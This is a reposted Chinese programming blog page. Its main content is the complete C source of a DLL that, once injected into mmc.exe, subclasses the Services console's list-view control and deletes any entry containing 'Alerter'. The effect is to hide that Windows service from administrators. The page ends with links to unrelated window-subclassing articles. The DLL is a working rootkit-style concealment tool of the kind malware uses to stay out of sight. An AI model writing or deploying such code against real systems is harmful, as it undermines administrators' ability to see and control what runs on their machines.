子类化隐藏Alerter服务的例子

转载 2006年06月15日 18:52:00
子类化隐藏Alerter服务的例子

把dll注入mmc.exe,子类化其显示服务列表的listview32控件,隐藏Alerter服务,以下为dll全代码。
----------------------------------------------------------------------------------
#include "stdafx.h"

#define MAGIC_NUMBER    (0x100)
WNDPROC lpfnSupperClassProc=NULL;

__forceinline void HideItem(HWND hListCtrl,DWORD dwItemcount)
{
   LVITEM li={0};
   char text[50]={0};
   li.pszText=text;
   li.cchTextMax=50;
   
   for(DWORD i=0;i<dwItemcount;i++)
   {    
       // 取得每一条记录名称
       CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li);
       // 如果是指定的记录,就删除
       if(StrStrI(li.pszText,_T("Alerter"))!=NULL)
           CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0);
   }
}

LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
   DWORD dwItemcount=0;
   if(WM_PAINT==uMsg)
   {    
       // 取得ListView控件中记录条数
       dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0);
       if(dwItemcount<MAGIC_NUMBER)
       {
           HideItem(hwnd,dwItemcount);
       }
   }
       
   return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);
}

__forceinline BOOL InstallListFilter()
{
   OutputDebugString(_T("InstallFilter/n"));
   
   BOOL bRet=FALSE;
   HWND hWnd=NULL;
   
   // 初始化自定义控制类
   INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES};
   bRet=InitCommonControlsEx(&cls);

   if(bRet)
   {
       hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,NULL,NULL,NULL,NULL);

       lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC);
       SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc);
       
       DestroyWindow(hWnd);
   }
   
   return bRet;
}

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
   if(DLL_PROCESS_ATTACH==ul_reason_for_call)
       // DLL被加载时挂上过滤
       InstallListFilter();
   return TRUE;
}

[学习笔记]窗口子类化实例

窗口子类化实例:点击一个按钮,在按钮本身的消息(按钮的消息回调函数)中弹出对话框,而不是在COMMAND(父类的消息回调函数)消息中弹出对话框。...
  • cyxvc
  • cyxvc
  • 2015年10月02日 18:43
  • 452

超类化与子类化的区别?

本文转自:http://hi.baidu.com/zish/blog/item/2a4098501bef706a853524ca.html 1.子类化:改变一个已经存在的窗口实例的性质:消息处理与其他...
  • FlowShell
  • FlowShell
  • 2009年12月10日 20:59
  • 3132

MFC子类化控件

转自:代码小卒的文章MFC子类化控件子类化理解作为一个程序员,我们经常会在程序中用到Windows通用控件。比如按钮控件,进度条控件等等。但是有时我们需要给控件更多的特色,这就需要做控件的子类化(su...
  • xuanyuanlei1020
  • xuanyuanlei1020
  • 2016年10月31日 11:59
  • 756

Qt学习笔记外观篇(五):子类化窗口部件类

如前所述,自定义
  • wangyanphp
  • wangyanphp
  • 2014年08月27日 10:02
  • 2120

Win32的窗口子类化

也许你需要一个特殊的Edit来限制浮点数的输入,但是现有的Edit却并不能完成这项工作――因为它只能够单纯的限制大小写或者纯数字。当你在论坛上求救的时候,某个网友告诉你:“用子类化。”你也许会在看到一...
  • chaos_epimetheus
  • chaos_epimetheus
  • 2012年09月05日 14:32
  • 656

Windows下子类化目标窗口的方法

当需要干预目标程序的某些操作的时候,除了以前提到的Hook,还可以使用“子类化”目标窗口的方法。先假设一种场合:当需干预目标程序的窗口的某个Panel上的点击事件(类似的也可以)的时候,如果使用HOO...
  • sunshinwong
  • sunshinwong
  • 2015年01月23日 16:15
  • 756

第二章 创建对话框 2.1子类化QDialog(1)

对话框可以为用户和应用程序之间提供一种可以相互的江湖
  • y519476132
  • y519476132
  • 2014年04月10日 23:48
  • 491

Win32中安全的子类化

关于子类化的话题虽然有些旧,但它至今仍然不失为一种开发Windows的强有力技术,在MFC的内核、甚至.NET的内核中都离不开它,希望本连载能对Windows开发的爱好者有所帮助。 原文标题...
  • huasonl88
  • huasonl88
  • 2013年04月07日 19:34
  • 2127

控件子类化

当程序使用你自已所实现的派生控件子类时,主窗口的消息是无法到达你的子类函数的.这时,你有两个方法:1.       使用DDX_Contrl(pDX,IDC_BUTTON,mMyButton)把你的子...
  • sjcode
  • sjcode
  • 2007年09月07日 19:02
  • 1084

子类化的例子

 #include #include "resource.h"// 手型光标的资源定义#ifndef IDC_HAND#define IDC_HAND MAKEINTRESOURCE(32649)#e...
  • dotnet90
  • dotnet90
  • 2008年11月28日 19:04
  • 491
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:子类化隐藏Alerter服务的例子
举报原因:
原因补充:

(最多只允许输入30个字)